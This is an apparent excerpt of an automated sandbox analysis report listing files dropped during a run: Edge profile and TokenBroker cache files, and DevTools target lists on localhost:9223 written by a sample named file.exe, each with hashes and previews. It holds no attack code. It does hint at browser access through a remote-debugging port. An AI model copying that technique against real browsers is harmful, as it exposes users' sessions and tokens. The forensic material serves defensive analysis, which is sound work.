SHA1:	7744E074E545EBD305A00A8F6638E21B81FA8969
SHA-256:	13CECFFAD00444AABA98F45754974ACF6359C4A10106024A132419AF81E335C5
SHA-512:	C6F11940CC2602FFE59B35846123489090CD2F2576A71FABEC85D51336C0416DC9C9DCA9E33DFCDB1F09A68D2AB4ADA7C1465CA7531038637B74B1BD95146726
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1734119223741792}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a087132b-8358-4278-9b6d-d5405ec16552.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44625
Entropy (8bit):	6.095900956412092
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kLjLmZcedeXincXv/Jw9KwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynjedeoKoRTuiVIos
MD5:	5D57CFD3F8347836F9B999CD62C1771E
SHA1:	C58109E6F46AD17C0B46FF226618D97FC8498EEC
SHA-256:	CCD9B424A7AA992C9F45CE0B7B3ACC4CD002AD217EEA70240C87DB9195955015
SHA-512:	0C7267BED6D1E576440316DA559F918D924C11458CD59EB56DD36DE1EB2D08BCB52ADEC0ECB4B37EE2EF28D82D257E3E9571BF0A1607CCDB57BA504884C79AD4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ad007de3-d203-4e84-87de-af813daf1ca0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44625
Entropy (8bit):	6.095900956412092
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kLjLmZcedeXincXv/Jw9KwWE7RTupzKscDX//NPC1os:z/Ps+wsI7ynjedeoKoRTuiVIos
MD5:	5D57CFD3F8347836F9B999CD62C1771E
SHA1:	C58109E6F46AD17C0B46FF226618D97FC8498EEC
SHA-256:	CCD9B424A7AA992C9F45CE0B7B3ACC4CD002AD217EEA70240C87DB9195955015
SHA-512:	0C7267BED6D1E576440316DA559F918D924C11458CD59EB56DD36DE1EB2D08BCB52ADEC0ECB4B37EE2EF28D82D257E3E9571BF0A1607CCDB57BA504884C79AD4
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c84535ff-22e1-4be3-a446-3c3b8ad4c04d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46021
Entropy (8bit):	6.088166478718702
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5dXDwLmZcedexyJfFohPXFYNxoZ20+YC1oNwWE7RTupzKscDX//7:eMk1rT8H1XoedetYNGU0nIoNoRTui7
MD5:	1613A9EA17DC6AB12A74E50843DFD9EC
SHA1:	8A8ACD2A6BDC0873EA4533E0BE6DB1747929D32B
SHA-256:	BD6838942D69F8B709CF1AF12CAF2FBB1E3B6151ACFE13BDE223CB96497F4C75
SHA-512:	E87D55D39CB60BB68ACEE41F9BB2BA4712973BB9D080C8B7FF9EFF726A25B0A4666C5E4823DF333DA8FE4EBBE93F2F08B6EBDBC47D92FAF711AA1475C1E63A5C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6719dbe1-0bd6-4e4c-b007-c4ce39085adf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734018423"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cc02a01f-275d-4a72-83f5-5093b32af443.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44707
Entropy (8bit):	6.096051878974992
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4x2jLmZcedexyJfFohPXFKwWE7RTupzKscDX//NPC1os:z/Ps+wsI7yOWedetKoRTuiVIos
MD5:	9B221B1D32810F3149471FA6140F2E71
SHA1:	98DEEF513BE2945C62E441DBBE5723E84D842478
SHA-256:	DB01ED6A7A661BDBB1105221CD4CEDE95C256E0B70583B60E6213A4523D04016
SHA-512:	D9F5E462508362ACD399A83F904131CED83229B40A5AB9D762C09C7D7EB1219020573C1F2A3617AC4BB04FDDF79CD484F1F9AF52580961AEA6C76F82E122ACD1
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\f26f1912-bc5a-4879-9de8-e6ed5dabd30a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46068
Entropy (8bit):	6.087875255027439
Encrypted:	false
SSDEEP:	768:eMkbJrT8IeQc5dXwwLmZcedeVyJfFohPXFYNxoZ20+YC1oNwWE7RTupzKscDX//7:eMk1rT8H1X5edeRYNGU0nIoNoRTui7
MD5:	98D74A3E10713DFF665DB3EB89D3B429
SHA1:	4A26949247AC5ADB30DC833C011E8E6461E4EDB8
SHA-256:	FA3DA1DFAFB096740845D2E7D99346DEFE0068AE4BA10CF298077FE16E4B2450
SHA-512:	4BE784252A705469BC1B88B269D5B302004BE50C03BB379790752EFA871639D1D4A9070904C7C596327D7DDEBD6F480478566FD14D82B3EDDF14DEDB126D67DF
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"continuous_migration":{"local_guid":"6719dbe1-0bd6-4e4c-b007-c4ce39085adf"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1734018423"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMs

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.8381780996829065
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxfxl9Il8uv3mmC073ulfwFmSAKNntuuOd1rc:mGYpWr0rulGmSAGntuul
MD5:	108168CF5DF7257AE353999F8ED46F8F
SHA1:	C54F475BFABD2907A8FD307E2B04F1E0B04DD626
SHA-256:	5C3C43BB1F6C92071F39BDD414EC94617EFC7925D8A283219CB10A301D354A08
SHA-512:	D24F95B35BB04B3BE6C7649B493755DE8CE830C42F3707896A4E26BE1A3615867BF641E99B58A0FD94453D90AFABAB2A1EC2C226579A74E5F68DFB46D7E7426A
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.M.f.I.d.7.V.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.f.d.A.S.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	4.000245319049825
Encrypted:	false
SSDEEP:	96:+YFulU5Cdow7F+cek2ht/182Do0wN4YENblIamQqMpYcyVGXRvQq+Lx:+/jdo66t/1u0RNbl8QqMfu0vfyx
MD5:	0BAECBD54E56F3D7D3F5435320316B85
SHA1:	F0776F40D6542AE2314BDA7D5963563D7A84DE91
SHA-256:	081E14773CC39846242D8A8F528892FC8ECCF059E72A4F1057DB63FD5E56FDD9
SHA-512:	007A0DD648B5688B9629664E83EC9B55F779DAE6A0B6551B87476F12A75E1C7D7828E23F5E60F46B1659EF74ED4B157F37D7473E45EB803F49C524A0317855C0
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:."./.Z.L.V.X.a.1.M.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.f.d.A.S.n.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.906151938082466
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xJxl9Il8uUhsv0Mo9HH66lcn667VZO3Xelcym6ld/vc:anYSh9HbcP7VZofym6E
MD5:	C72552FFFA7886AE2D0247A476FC7BA9
SHA1:	1B70C91085BCD007B69F76C997190CC1D47D6E33
SHA-256:	157D5555227FCDD89754AAC88C9066381FAB0F8351A7284A79893EB2BF05C81A
SHA-512:	534A9C3B48D1D3649C9DCF2E6F8452DBA37C9300F93B4F85598DEB3E1D55A3DBCBB8CD106F594FD1D063F354B204202AF57D9820AE3FB5A13EA877083F5B847C
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".J.e.A.G.j.n.5.r.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.R.f.d.A.S.n.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.380571765763188
Encrypted:	false
SSDEEP:	48:SfNaoCtfTECtHfNaoCUC/fNaoCTlHCTUfNaoC+njT0UrU0U8C+i:6NnCtfTECt/NnCUCXNnCpHCUNnC+njTG
MD5:	A1E27B2783A6F168EE2E9474CE8FC94F
SHA1:	DA7D0DF52B86875E642A6983EAB99B1B38547C5A
SHA-256:	C41B0ACE8A808FDD259424860EC89B1D23981059AC989E595B1EE0BCCBAB1B54
SHA-512:	DCBA955B414178EB6E818688278EACC6B25F660B50CBDF1469DC1C161069FDB5B78F5132DCD12286077926E15F83AF99C2DE8AE600D1E74F935AFACD92A1F4B5
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/C5322CA667519FFF7F925E808CF93172",.. "id": "C5322CA667519FFF7F925E808CF93172",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/C5322CA667519FFF7F925E808CF93172"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/950E80BD61F97B27591A0A68BDFCCC96",.. "id": "950E80BD61F97B27591A0A68BDFCCC96",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/950E80BD61F97B27591A0A68BDFCCC96"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.391436525566526
Encrypted:	false
SSDEEP:	96:6NnCWHCmNnCKLhbCKwNnCr9+9Cr1NnCJdgECzNnCkCyNnC8wh6DC8wxNnCv2bwCn:6NVNdLvwNcNSkNNNtwh6JwxNdmNDG
MD5:	E72C6DCC9C73CA7EDB7D81241EDABECE
SHA1:	0BD635B8778A74BD1CED21D7E217806AC3CA8BD0
SHA-256:	ED185CF3E6FF195A5D943908899A09765F4E6AAAACCE0813437826F1B817292A
SHA-512:	A3E76F89A2DE6B54260925E46D89719AC8E28BE3261B15178C366E289B81DA2FD6E58BB29751E260ECE37F09D56619F59DAAF1D672DE7AB299EBBAACBA5FC8DF
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/E1581F843404EE26BAB2EBFDA4563470",.. "id": "E1581F843404EE26BAB2EBFDA4563470",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/E1581F843404EE26BAB2EBFDA4563470"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9223/devtools/page/3D58C8A5E04417CF24F2968BFB18FA3E",.. "id": "3D58C8A5E04417CF24F2968BFB18FA3E",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9223/devtools/page/3D58C8A5E04417CF24F2968BFB18FA3E"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Temp\50f8e9a1-6fe0-4ef1-8fd2-33fb48c4ae3c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\b33b4a36-3c70-47e6-8148-c8ae09e7033e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1420
Entropy (8bit):	5.391389707845804
Encrypted:	false
SSDEEP:	24:YJxF5sQ5szAW01Rp5yK10YO5qv70VhQu5Fa0txtdL5vVtf0MIHV5M:YJxF5sQ5sEW01X5y60YO5qD0VH5Fa0Xh
MD5:	6C2DBF7E862D28D8DC2D9F3B7F608887
SHA1:	6B5EF320B023B516B7B109FD0A12A12373FE46B3
SHA-256:	AD7395428511FE20C4DEADB76FA7075E46F54C6948612FA08D2B944FA7EF4FE5
